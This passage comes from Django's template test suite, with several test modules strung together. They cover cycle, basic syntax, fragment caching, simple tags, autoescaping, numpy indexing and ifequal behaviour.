    @setup({
        'cycle29': "{% cycle 'a' 'b' 'c' as cycler silent %}"
                   "{% for x in values %}"
                   "{% ifchanged x %}"
                   "{% cycle cycler %}{{ cycler }}"
                   "{% else %}"
                   "{{ cycler }}"
                   "{% endifchanged %}"
                   "{% endfor %}"
    })
    def test_cycle29(self):
        """
        A named {% cycle %} tag works inside an {% ifchanged %} block and a
        {% for %} loop.
        """
        output = self.engine.render_to_string('cycle29', {'values': [1, 2, 3, 4, 5, 6, 7, 8, 8, 8, 9, 9]})
        self.assertEqual(output, 'bcabcabcccaa')

    @setup({
        'cycle30': "{% cycle 'a' 'b' 'c' as cycler silent %}"
                   "{% for x in values %}"
                   "{% with doesnothing=irrelevant %}"
                   "{% ifchanged x %}"
                   "{% cycle cycler %}{{ cycler }}"
                   "{% else %}"
                   "{{ cycler }}"
                   "{% endifchanged %}"
                   "{% endwith %}"
                   "{% endfor %}"})
    def test_cycle30(self):
        """
        A {% with %} tag shouldn't reset the {% cycle %} variable.
        """
        output = self.engine.render_to_string(
            'cycle30', {
                'irrelevant': 1,
                'values': [1, 2, 3, 4, 5, 6, 7, 8, 8, 8, 9, 9]
            })
        self.assertEqual(output, 'bcabcabcccaa')






from django.test import SimpleTestCase

from ..utils import setup


class SetupTests(SimpleTestCase):

    def test_setup(self):
        """
        Let's just make sure setup runs cases in the right order.
        """
        cases = []

        @setup({})
        def method(self):
            cases.append([
                self.engine.string_if_invalid,
                self.engine.debug,
            ])

        method(self)

        self.assertEqual(cases[0], ['', False])
        self.assertEqual(cases[1], ['', False])
        self.assertEqual(cases[2], ['INVALID', False])
        self.assertEqual(cases[3], ['INVALID', False])
        self.assertEqual(cases[4], ['', True])
        self.assertEqual(cases[5], ['', True])












from django.template.base import Context, TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import SilentAttrClass, SilentGetItemClass, SomeClass, setup

basic_templates = {
    'basic-syntax01': 'something cool',
    'basic-syntax02': '{{ headline }}',
    'basic-syntax03': '{{ first }} --- {{ second }}',
}


class BasicSyntaxTests(SimpleTestCase):

    @setup(basic_templates)
    def test_basic_syntax01(self):
        """
        Plain text should go through the template parser untouched.
        """
        output = self.engine.render_to_string('basic-syntax01')
        self.assertEqual(output, "something cool")

    @setup(basic_templates)
    def test_basic_syntax02(self):
        """
        Variables should be replaced with their value in the current
        context
        """
        output = self.engine.render_to_string('basic-syntax02', {'headline': 'Success'})
        self.assertEqual(output, 'Success')

    @setup(basic_templates)
    def test_basic_syntax03(self):
        """
        More than one replacement variable is allowed in a template
        """
        output = self.engine.render_to_string('basic-syntax03', {"first": 1, "second": 2})
        self.assertEqual(output, '1 --- 2')

    @setup({'basic-syntax04': 'as{{ missing }}df'})
    def test_basic_syntax04(self):
        """
        Fail silently when a variable is not found in the current context
        """
        output = self.engine.render_to_string('basic-syntax04')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'asINVALIDdf')
        else:
            self.assertEqual(output, 'asdf')

    @setup({'basic-syntax06': '{{ multi word variable }}'})
    def test_basic_syntax06(self):
        """
        A variable may not contain more than one word
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax06')

    @setup({'basic-syntax07': '{{ }}'})
    def test_basic_syntax07(self):
        """
        Raise TemplateSyntaxError for empty variable tags.
        """
        with self.assertRaisesMessage(TemplateSyntaxError, 'Empty variable tag on line 1'):
            self.engine.get_template('basic-syntax07')

    @setup({'basic-syntax08': '{{        }}'})
    def test_basic_syntax08(self):
        """
        Raise TemplateSyntaxError for empty variable tags.
        """
        with self.assertRaisesMessage(TemplateSyntaxError, 'Empty variable tag on line 1'):
            self.engine.get_template('basic-syntax08')

    @setup({'basic-syntax09': '{{ var.method }}'})
    def test_basic_syntax09(self):
        """
        Attribute syntax allows a template to call an object's attribute
        """
        output = self.engine.render_to_string('basic-syntax09', {'var': SomeClass()})
        self.assertEqual(output, 'SomeClass.method')

    @setup({'basic-syntax10': '{{ var.otherclass.method }}'})
    def test_basic_syntax10(self):
        """
        Multiple levels of attribute access are allowed.
        """
        output = self.engine.render_to_string('basic-syntax10', {'var': SomeClass()})
        self.assertEqual(output, 'OtherClass.method')

    @setup({'basic-syntax11': '{{ var.blech }}'})
    def test_basic_syntax11(self):
        """
        Fail silently when a variable's attribute isn't found.
        """
        output = self.engine.render_to_string('basic-syntax11', {'var': SomeClass()})

        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'basic-syntax12': '{{ var.__dict__ }}'})
    def test_basic_syntax12(self):
        """
        Raise TemplateSyntaxError when trying to access a variable
        beginning with an underscore.
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax12')

    # Raise TemplateSyntaxError when trying to access a variable
    # containing an illegal character.
    @setup({'basic-syntax13': "{{ va>r }}"})
    def test_basic_syntax13(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax13')

    @setup({'basic-syntax14': "{{ (var.r) }}"})
    def test_basic_syntax14(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax14')

    @setup({'basic-syntax15': "{{ sp%am }}"})
    def test_basic_syntax15(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax15')

    @setup({'basic-syntax16': "{{ eggs! }}"})
    def test_basic_syntax16(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax16')

    @setup({'basic-syntax17': "{{ moo? }}"})
    def test_basic_syntax17(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax17')

    @setup({'basic-syntax18': "{{ foo.bar }}"})
    def test_basic_syntax18(self):
        """
        Attribute syntax allows a template to call a dictionary key's
        value.
        """
        output = self.engine.render_to_string('basic-syntax18', {"foo": {"bar": "baz"}})
        self.assertEqual(output, "baz")

    @setup({'basic-syntax19': "{{ foo.spam }}"})
    def test_basic_syntax19(self):
        """
        Fail silently when a variable's dictionary key isn't found.
        """
        output = self.engine.render_to_string('basic-syntax19', {"foo": {"bar": "baz"}})

        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'basic-syntax20': "{{ var.method2 }}"})
    def test_basic_syntax20(self):
        """
        Fail silently when accessing a non-simple method
        """
        output = self.engine.render_to_string('basic-syntax20', {'var': SomeClass()})

        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'basic-syntax20b': "{{ var.method5 }}"})
    def test_basic_syntax20b(self):
        """
        Don't silence a TypeError if it was raised inside a callable.
        """
        template = self.engine.get_template('basic-syntax20b')

        with self.assertRaises(TypeError):
            template.render(Context({'var': SomeClass()}))

    # Don't get confused when parsing something that is almost, but not
    # quite, a template tag.
    @setup({'basic-syntax21': "a {{ moo %} b"})
    def test_basic_syntax21(self):
        output = self.engine.render_to_string('basic-syntax21')
        self.assertEqual(output, "a {{ moo %} b")

    @setup({'basic-syntax22': "{{ moo #}"})
    def test_basic_syntax22(self):
        output = self.engine.render_to_string('basic-syntax22')
        self.assertEqual(output, "{{ moo #}")

    @setup({'basic-syntax23': "{{ moo #} {{ cow }}"})
    def test_basic_syntax23(self):
        """
        Treat "moo #} {{ cow" as the variable. Not ideal, but costly to work
        around, so this triggers an error.
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('basic-syntax23')

    @setup({'basic-syntax24': "{{ moo\n }}"})
    def test_basic_syntax24(self):
        """
        Embedded newlines make it not-a-tag.
        """
        output = self.engine.render_to_string('basic-syntax24')
        self.assertEqual(output, "{{ moo\n }}")

    # Literal strings are permitted inside variables, mostly for i18n
    # purposes.
    @setup({'basic-syntax25': '{{ "fred" }}'})
    def test_basic_syntax25(self):
        output = self.engine.render_to_string('basic-syntax25')
        self.assertEqual(output, "fred")

    @setup({'basic-syntax26': r'{{ "\"fred\"" }}'})
    def test_basic_syntax26(self):
        output = self.engine.render_to_string('basic-syntax26')
        self.assertEqual(output, "\"fred\"")

    @setup({'basic-syntax27': r'{{ _("\"fred\"") }}'})
    def test_basic_syntax27(self):
        output = self.engine.render_to_string('basic-syntax27')
        self.assertEqual(output, "\"fred\"")

    # #12554 -- Make sure a silent_variable_failure Exception is
    # suppressed on dictionary and attribute lookup.
    @setup({'basic-syntax28': "{{ a.b }}"})
    def test_basic_syntax28(self):
        output = self.engine.render_to_string('basic-syntax28', {'a': SilentGetItemClass()})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'basic-syntax29': "{{ a.b }}"})
    def test_basic_syntax29(self):
        output = self.engine.render_to_string('basic-syntax29', {'a': SilentAttrClass()})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    # Something that starts like a number but has an extra lookup works
    # as a lookup.
    @setup({'basic-syntax30': "{{ 1.2.3 }}"})
    def test_basic_syntax30(self):
        output = self.engine.render_to_string(
            'basic-syntax30',
            {"1": {"2": {"3": "d"}}}
        )
        self.assertEqual(output, 'd')

    @setup({'basic-syntax31': "{{ 1.2.3 }}"})
    def test_basic_syntax31(self):
        output = self.engine.render_to_string(
            'basic-syntax31',
            {"1": {"2": ("a", "b", "c", "d")}},
        )
        self.assertEqual(output, 'd')

    @setup({'basic-syntax32': "{{ 1.2.3 }}"})
    def test_basic_syntax32(self):
        output = self.engine.render_to_string(
            'basic-syntax32',
            {"1": (("x", "x", "x", "x"), ("y", "y", "y", "y"), ("a", "b", "c", "d"))},
        )
        self.assertEqual(output, 'd')

    @setup({'basic-syntax33': "{{ 1.2.3 }}"})
    def test_basic_syntax33(self):
        output = self.engine.render_to_string(
            'basic-syntax33',
            {"1": ("xxxx", "yyyy", "abcd")},
        )
        self.assertEqual(output, 'd')

    @setup({'basic-syntax34': "{{ 1.2.3 }}"})
    def test_basic_syntax34(self):
        output = self.engine.render_to_string(
            'basic-syntax34',
            {"1": ({"x": "x"}, {"y": "y"}, {"z": "z", "3": "d"})}
        )
        self.assertEqual(output, 'd')

    # Numbers are numbers even if their digits are in the context.
    @setup({'basic-syntax35': "{{ 1 }}"})
    def test_basic_syntax35(self):
        output = self.engine.render_to_string('basic-syntax35', {"1": "abc"})
        self.assertEqual(output, '1')

    @setup({'basic-syntax36': "{{ 1.2 }}"})
    def test_basic_syntax36(self):
        output = self.engine.render_to_string('basic-syntax36', {"1": "abc"})
        self.assertEqual(output, '1.2')

    @setup({'basic-syntax37': '{{ callable }}'})
    def test_basic_syntax37(self):
        """
        Call methods in the top level of the context.
        """
        output = self.engine.render_to_string('basic-syntax37', {"callable": lambda: "foo bar"})
        self.assertEqual(output, 'foo bar')

    @setup({'basic-syntax38': '{{ var.callable }}'})
    def test_basic_syntax38(self):
        """
        Call methods returned from dictionary lookups.
        """
        output = self.engine.render_to_string('basic-syntax38', {"var": {"callable": lambda: "foo bar"}})
        self.assertEqual(output, 'foo bar')

    @setup({'template': '{% block content %}'})
    def test_unclosed_block(self):
        msg = "Unclosed tag on line 1: 'block'. Looking for one of: endblock."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'template': '{% if a %}'})
    def test_unclosed_block2(self):
        msg = "Unclosed tag on line 1: 'if'. Looking for one of: elif, else, endif."
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.render_to_string('template')

    @setup({'tpl-str': '%s', 'tpl-percent': '%%', 'tpl-weird-percent': '% %s'})
    def test_ignores_strings_that_look_like_format_interpolation(self):
        output = self.engine.render_to_string('tpl-str')
        self.assertEqual(output, '%s')
        output = self.engine.render_to_string('tpl-percent')
        self.assertEqual(output, '%%')
        output = self.engine.render_to_string('tpl-weird-percent')
        self.assertEqual(output, '% %s')






from django.core.cache import cache
from django.template import Context, Engine, TemplateSyntaxError
from django.test import SimpleTestCase, override_settings

from ..utils import setup


class CacheTagTests(SimpleTestCase):
    libraries = {
        'cache': 'django.templatetags.cache',
        'custom': 'template_tests.templatetags.custom',
    }

    def tearDown(self):
        cache.clear()

    @setup({'cache03': '{% load cache %}{% cache 2 test %}cache03{% endcache %}'})
    def test_cache03(self):
        output = self.engine.render_to_string('cache03')
        self.assertEqual(output, 'cache03')

    @setup({
        'cache03': '{% load cache %}{% cache 2 test %}cache03{% endcache %}',
        'cache04': '{% load cache %}{% cache 2 test %}cache04{% endcache %}',
    })
    def test_cache04(self):
        self.engine.render_to_string('cache03')
        output = self.engine.render_to_string('cache04')
        self.assertEqual(output, 'cache03')

    @setup({'cache05': '{% load cache %}{% cache 2 test foo %}cache05{% endcache %}'})
    def test_cache05(self):
        output = self.engine.render_to_string('cache05', {'foo': 1})
        self.assertEqual(output, 'cache05')

    @setup({'cache06': '{% load cache %}{% cache 2 test foo %}cache06{% endcache %}'})
    def test_cache06(self):
        output = self.engine.render_to_string('cache06', {'foo': 2})
        self.assertEqual(output, 'cache06')

    @setup({
        'cache05': '{% load cache %}{% cache 2 test foo %}cache05{% endcache %}',
        'cache07': '{% load cache %}{% cache 2 test foo %}cache07{% endcache %}',
    })
    def test_cache07(self):
        context = {'foo': 1}
        self.engine.render_to_string('cache05', context)
        output = self.engine.render_to_string('cache07', context)
        self.assertEqual(output, 'cache05')

    @setup({
        'cache06': '{% load cache %}{% cache 2 test foo %}cache06{% endcache %}',
        'cache08': '{% load cache %}{% cache time test foo %}cache08{% endcache %}',
    })
    def test_cache08(self):
        """
        Allow first argument to be a variable.
        """
        context = {'foo': 2, 'time': 2}
        self.engine.render_to_string('cache06', context)
        output = self.engine.render_to_string('cache08', context)
        self.assertEqual(output, 'cache06')

    # Raise exception if we don't have at least 2 args, first one integer.
    @setup({'cache11': '{% load cache %}{% cache %}{% endcache %}'})
    def test_cache11(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cache11')

    @setup({'cache12': '{% load cache %}{% cache 1 %}{% endcache %}'})
    def test_cache12(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('cache12')

    @setup({'cache13': '{% load cache %}{% cache foo bar %}{% endcache %}'})
    def test_cache13(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('cache13')

    @setup({'cache14': '{% load cache %}{% cache foo bar %}{% endcache %}'})
    def test_cache14(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('cache14', {'foo': 'fail'})

    @setup({'cache15': '{% load cache %}{% cache foo bar %}{% endcache %}'})
    def test_cache15(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('cache15', {'foo': []})

    @setup({'cache16': '{% load cache %}{% cache 1 foo bar %}{% endcache %}'})
    def test_cache16(self):
        """
        Regression test for #7460.
        """
        output = self.engine.render_to_string('cache16', {'foo': 'foo', 'bar': 'with spaces'})
        self.assertEqual(output, '')

    @setup({'cache17': '{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}'})
    def test_cache17(self):
        """
        Regression test for #11270.
        """
        output = self.engine.render_to_string(
            'cache17',
            {
                'poem': (
                    'Oh freddled gruntbuggly/Thy micturations are to me/'
                    'As plurdled gabbleblotchits/On a lurgid bee/'
                    'That mordiously hath bitled out/Its earted jurtles/'
                    'Into a rancid festering/Or else I shall rend thee in the gobberwarts'
                    'with my blurglecruncheon/See if I dont.'
                ),
            }
        )
        self.assertEqual(output, 'Some Content')

    @setup({'cache18': '{% load cache custom %}{% cache 2|noop:"x y" cache18 %}cache18{% endcache %}'})
    def test_cache18(self):
        """
        Test whitespace in filter arguments
        """
        output = self.engine.render_to_string('cache18')
        self.assertEqual(output, 'cache18')


class CacheTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine(libraries={'cache': 'django.templatetags.cache'})
        super(CacheTests, cls).setUpClass()

    def test_cache_regression_20130(self):
        t = self.engine.from_string('{% load cache %}{% cache 1 regression_20130 %}foo{% endcache %}')
        cachenode = t.nodelist[1]
        self.assertEqual(cachenode.fragment_name, 'regression_20130')

    @override_settings(CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'LOCATION': 'default',
        },
        'template_fragments': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'LOCATION': 'fragments',
        },
    })
    def test_cache_fragment_cache(self):
        """
        When a cache called "template_fragments" is present, the cache tag
        will use it in preference to 'default'
        """
        t1 = self.engine.from_string('{% load cache %}{% cache 1 fragment %}foo{% endcache %}')
        t2 = self.engine.from_string('{% load cache %}{% cache 1 fragment using="default" %}bar{% endcache %}')

        ctx = Context()
        o1 = t1.render(ctx)
        o2 = t2.render(ctx)

        self.assertEqual(o1, 'foo')
        self.assertEqual(o2, 'bar')

    def test_cache_missing_backend(self):
        """
        When a cache that doesn't exist is specified, the cache tag will
        raise a TemplateSyntaxError
        '"""
        t = self.engine.from_string('{% load cache %}{% cache 1 backend using="unknown" %}bar{% endcache %}')

        ctx = Context()
        with self.assertRaises(TemplateSyntaxError):
            t.render(ctx)






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class SimpleTagTests(SimpleTestCase):
    libraries = {'custom': 'template_tests.templatetags.custom'}

    @setup({'simpletag-renamed01': '{% load custom %}{% minusone 7 %}'})
    def test_simpletag_renamed01(self):
        output = self.engine.render_to_string('simpletag-renamed01')
        self.assertEqual(output, '6')

    @setup({'simpletag-renamed02': '{% load custom %}{% minustwo 7 %}'})
    def test_simpletag_renamed02(self):
        output = self.engine.render_to_string('simpletag-renamed02')
        self.assertEqual(output, '5')

    @setup({'simpletag-renamed03': '{% load custom %}{% minustwo_overridden_name 7 %}'})
    def test_simpletag_renamed03(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('simpletag-renamed03')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import SafeClass, UnsafeClass, setup


class AutoescapeTagTests(SimpleTestCase):

    @setup({'autoescape-tag01': '{% autoescape off %}hello{% endautoescape %}'})
    def test_autoescape_tag01(self):
        output = self.engine.render_to_string('autoescape-tag01')
        self.assertEqual(output, 'hello')

    @setup({'autoescape-tag02': '{% autoescape off %}{{ first }}{% endautoescape %}'})
    def test_autoescape_tag02(self):
        output = self.engine.render_to_string('autoescape-tag02', {'first': '<b>hello</b>'})
        self.assertEqual(output, '<b>hello</b>')

    @setup({'autoescape-tag03': '{% autoescape on %}{{ first }}{% endautoescape %}'})
    def test_autoescape_tag03(self):
        output = self.engine.render_to_string('autoescape-tag03', {'first': '<b>hello</b>'})
        self.assertEqual(output, '&lt;b&gt;hello&lt;/b&gt;')

    # Autoescape disabling and enabling nest in a predictable way.
    @setup({
        'autoescape-tag04':
        '{% autoescape off %}{{ first }} {% autoescape on %}{{ first }}{% endautoescape %}{% endautoescape %}'
    })
    def test_autoescape_tag04(self):
        output = self.engine.render_to_string('autoescape-tag04', {'first': '<a>'})
        self.assertEqual(output, '<a> &lt;a&gt;')

    @setup({'autoescape-tag05': '{% autoescape on %}{{ first }}{% endautoescape %}'})
    def test_autoescape_tag05(self):
        output = self.engine.render_to_string('autoescape-tag05', {'first': '<b>first</b>'})
        self.assertEqual(output, '&lt;b&gt;first&lt;/b&gt;')

    # Strings (ASCII or unicode) already marked as "safe" are not
    # auto-escaped
    @setup({'autoescape-tag06': '{{ first }}'})
    def test_autoescape_tag06(self):
        output = self.engine.render_to_string('autoescape-tag06', {'first': mark_safe('<b>first</b>')})
        self.assertEqual(output, '<b>first</b>')

    @setup({'autoescape-tag07': '{% autoescape on %}{{ first }}{% endautoescape %}'})
    def test_autoescape_tag07(self):
        output = self.engine.render_to_string('autoescape-tag07', {'first': mark_safe('<b>Apple</b>')})
        self.assertEqual(output, '<b>Apple</b>')

    @setup({
        'autoescape-tag08':
        r'{% autoescape on %}{{ var|default_if_none:" endquote\" hah" }}{% endautoescape %}'
    })
    def test_autoescape_tag08(self):
        """
        Literal string arguments to filters, if used in the result, are safe.
        """
        output = self.engine.render_to_string('autoescape-tag08', {"var": None})
        self.assertEqual(output, ' endquote" hah')

    # Objects which return safe strings as their __str__ method
    # won't get double-escaped.
    @setup({'autoescape-tag09': r'{{ unsafe }}'})
    def test_autoescape_tag09(self):
        output = self.engine.render_to_string('autoescape-tag09', {'unsafe': UnsafeClass()})
        self.assertEqual(output, 'you &amp; me')

    @setup({'autoescape-tag10': r'{{ safe }}'})
    def test_autoescape_tag10(self):
        output = self.engine.render_to_string('autoescape-tag10', {'safe': SafeClass()})
        self.assertEqual(output, 'you &gt; me')

    @setup({'autoescape-filtertag01': '{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}'})
    def test_autoescape_filtertag01(self):
        """
        The "safe" and "escape" filters cannot work due to internal
        implementation details (fortunately, the (no)autoescape block
        tags can be used in those cases)
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('autoescape-filtertag01', {'first': '<a>'})

    @setup({'autoescape-ifequal01': '{% ifequal var "this & that" %}yes{% endifequal %}'})
    def test_autoescape_ifequal01(self):
        """
        ifequal compares unescaped vales.
        """
        output = self.engine.render_to_string('autoescape-ifequal01', {'var': 'this & that'})
        self.assertEqual(output, 'yes')

    # Arguments to filters are 'safe' and manipulate their input unescaped.
    @setup({'autoescape-filters01': '{{ var|cut:"&" }}'})
    def test_autoescape_filters01(self):
        output = self.engine.render_to_string('autoescape-filters01', {'var': 'this & that'})
        self.assertEqual(output, 'this  that')

    @setup({'autoescape-filters02': '{{ var|join:" & " }}'})
    def test_autoescape_filters02(self):
        output = self.engine.render_to_string('autoescape-filters02', {'var': ('Tom', 'Dick', 'Harry')})
        self.assertEqual(output, 'Tom & Dick & Harry')

    @setup({'autoescape-literals01': '{{ "this & that" }}'})
    def test_autoescape_literals01(self):
        """
        Literal strings are safe.
        """
        output = self.engine.render_to_string('autoescape-literals01')
        self.assertEqual(output, 'this & that')

    @setup({'autoescape-stringiterations01': '{% for l in var %}{{ l }},{% endfor %}'})
    def test_autoescape_stringiterations01(self):
        """
        Iterating over strings outputs safe characters.
        """
        output = self.engine.render_to_string('autoescape-stringiterations01', {'var': 'K&R'})
        self.assertEqual(output, 'K,&amp;,R,')

    @setup({'autoescape-lookup01': '{{ var.key }}'})
    def test_autoescape_lookup01(self):
        """
        Escape requirement survives lookup.
        """
        output = self.engine.render_to_string('autoescape-lookup01', {'var': {'key': 'this & that'}})
        self.assertEqual(output, 'this &amp; that')






import warnings
from unittest import skipIf

from django.test import SimpleTestCase

from ..utils import setup

try:
    import numpy
    VisibleDeprecationWarning = numpy.VisibleDeprecationWarning
except ImportError:
    numpy = False
except AttributeError:  # numpy < 1.9.0, e.g. 1.8.2 in Debian 8
    VisibleDeprecationWarning = DeprecationWarning


@skipIf(numpy is False, "Numpy must be installed to run these tests.")
class NumpyTests(SimpleTestCase):
    # Ignore numpy deprecation warnings (#23890)
    if numpy:
        warnings.filterwarnings(
            "ignore",
            "Using a non-integer number instead of an "
            "integer will result in an error in the future",
            VisibleDeprecationWarning
        )

    @setup({'numpy-array-index01': '{{ var.1 }}'})
    def test_numpy_array_index01(self):
        """
        Numpy's array-index syntax allows a template to access a certain
        item of a subscriptable object.
        """
        output = self.engine.render_to_string(
            'numpy-array-index01',
            {'var': numpy.array(["first item", "second item"])},
        )
        self.assertEqual(output, 'second item')

    @setup({'numpy-array-index02': '{{ var.5 }}'})
    def test_numpy_array_index02(self):
        """
        Fail silently when the array index is out of range.
        """
        output = self.engine.render_to_string(
            'numpy-array-index02',
            {'var': numpy.array(["first item", "second item"])},
        )
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')






from django.test import SimpleTestCase

from ..utils import setup


class IfEqualTagTests(SimpleTestCase):

    @setup({'ifequal01': '{% ifequal a b %}yes{% endifequal %}'})
    def test_ifequal01(self):
        output = self.engine.render_to_string('ifequal01', {'a': 1, 'b': 2})
        self.assertEqual(output, '')

    @setup({'ifequal02': '{% ifequal a b %}yes{% endifequal %}'})
    def test_ifequal02(self):
        output = self.engine.render_to_string('ifequal02', {'a': 1, 'b': 1})
        self.assertEqual(output, 'yes')

    @setup({'ifequal03': '{% ifequal a b %}yes{% else %}no{% endifequal %}'})
    def test_ifequal03(self):
        output = self.engine.render_to_string('ifequal03', {'a': 1, 'b': 2})
        self.assertEqual(output, 'no')

    @setup({'ifequal04': '{% ifequal a b %}yes{% else %}no{% endifequal %}'})
    def test_ifequal04(self):
        output = self.engine.render_to_string('ifequal04', {'a': 1, 'b': 1})
        self.assertEqual(output, 'yes')

    @setup({'ifequal05': '{% ifequal a \'test\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal05(self):
        output = self.engine.render_to_string('ifequal05', {'a': 'test'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal06': '{% ifequal a \'test\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal06(self):
        output = self.engine.render_to_string('ifequal06', {'a': 'no'})
        self.assertEqual(output, 'no')

    @setup({'ifequal07': '{% ifequal a "test" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal07(self):
        output = self.engine.render_to_string('ifequal07', {'a': 'test'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal08': '{% ifequal a "test" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal08(self):
        output = self.engine.render_to_string('ifequal08', {'a': 'no'})
        self.assertEqual(output, 'no')

    @setup({'ifequal09': '{% ifequal a "test" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal09(self):
        output = self.engine.render_to_string('ifequal09')
        self.assertEqual(output, 'no')

    @setup({'ifequal10': '{% ifequal a b %}yes{% else %}no{% endifequal %}'})
    def test_ifequal10(self):
        output = self.engine.render_to_string('ifequal10')
        self.assertEqual(output, 'yes')

    # SMART SPLITTING
    @setup({'ifequal-split01': '{% ifequal a "test man" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split01(self):
        output = self.engine.render_to_string('ifequal-split01')
        self.assertEqual(output, 'no')

    @setup({'ifequal-split02': '{% ifequal a "test man" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split02(self):
        output = self.engine.render_to_string('ifequal-split02', {'a': 'foo'})
        self.assertEqual(output, 'no')

    @setup({'ifequal-split03': '{% ifequal a "test man" %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split03(self):
        output = self.engine.render_to_string('ifequal-split03', {'a': 'test man'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-split04': '{% ifequal a \'test man\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split04(self):
        output = self.engine.render_to_string('ifequal-split04', {'a': 'test man'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-split05': '{% ifequal a \'i "love" you\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split05(self):
        output = self.engine.render_to_string('ifequal-split05', {'a': ''})
        self.assertEqual(output, 'no')

    @setup({'ifequal-split06': '{% ifequal a \'i "love" you\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split06(self):
        output = self.engine.render_to_string('ifequal-split06', {'a': 'i "love" you'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-split07': '{% ifequal a \'i "love" you\' %}yes{% else %}no{% endifequal %}'})
    def test_ifequal_split07(self):
        output = self.engine.render_to_string('ifequal-split07', {'a': 'i love you'})
        self.assertEqual(output, 'no')

    @setup({'ifequal-split08': r"{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"})
    def test_ifequal_split08(self):
        output = self.engine.render_to_string('ifequal-split08', {'a': "I'm happy"})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-split09': r"{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"})
    def test_ifequal_split09(self):
        output = self.engine.render_to_string('ifequal-split09', {'a': 'slash\man'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-split10': r"{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"})
    def test_ifequal_split10(self):
        output = self.engine.render_to_string('ifequal-split10', {'a': 'slashman'})
        self.assertEqual(output, 'no')

    # NUMERIC RESOLUTION
    @setup({'ifequal-numeric01': '{% ifequal x 5 %}yes{% endifequal %}'})
    def test_ifequal_numeric01(self):
        output = self.engine.render_to_string('ifequal-numeric01', {'x': '5'})
        self.assertEqual(output, '')

    @setup({'ifequal-numeric02': '{% ifequal x 5 %}yes{% endifequal %}'})
    def test_ifequal_numeric02(self):
        output = self.engine.render_to_string('ifequal-numeric02', {'x': 5})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric03': '{% ifequal x 5.2 %}yes{% endifequal %}'})
    def test_ifequal_numeric03(self):
        output = self.engine.render_to_string('ifequal-numeric03', {'x': 5})
        self.assertEqual(output, '')

    @setup({'ifequal-numeric04': '{% ifequal x 5.2 %}yes{% endifequal %}'})
    def test_ifequal_numeric04(self):
        output = self.engine.render_to_string('ifequal-numeric04', {'x': 5.2})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric05': '{% ifequal x 0.2 %}yes{% endifequal %}'})
    def test_ifequal_numeric05(self):
        output = self.engine.render_to_string('ifequal-numeric05', {'x': 0.2})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric06': '{% ifequal x .2 %}yes{% endifequal %}'})
    def test_ifequal_numeric06(self):
        output = self.engine.render_to_string('ifequal-numeric06', {'x': 0.2})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric07': '{% ifequal x 2. %}yes{% endifequal %}'})
    def test_ifequal_numeric07(self):
        output = self.engine.render_to_string('ifequal-numeric07', {'x': 2})
        self.assertEqual(output, '')

    @setup({'ifequal-numeric08': '{% ifequal x "5" %}yes{% endifequal %}'})
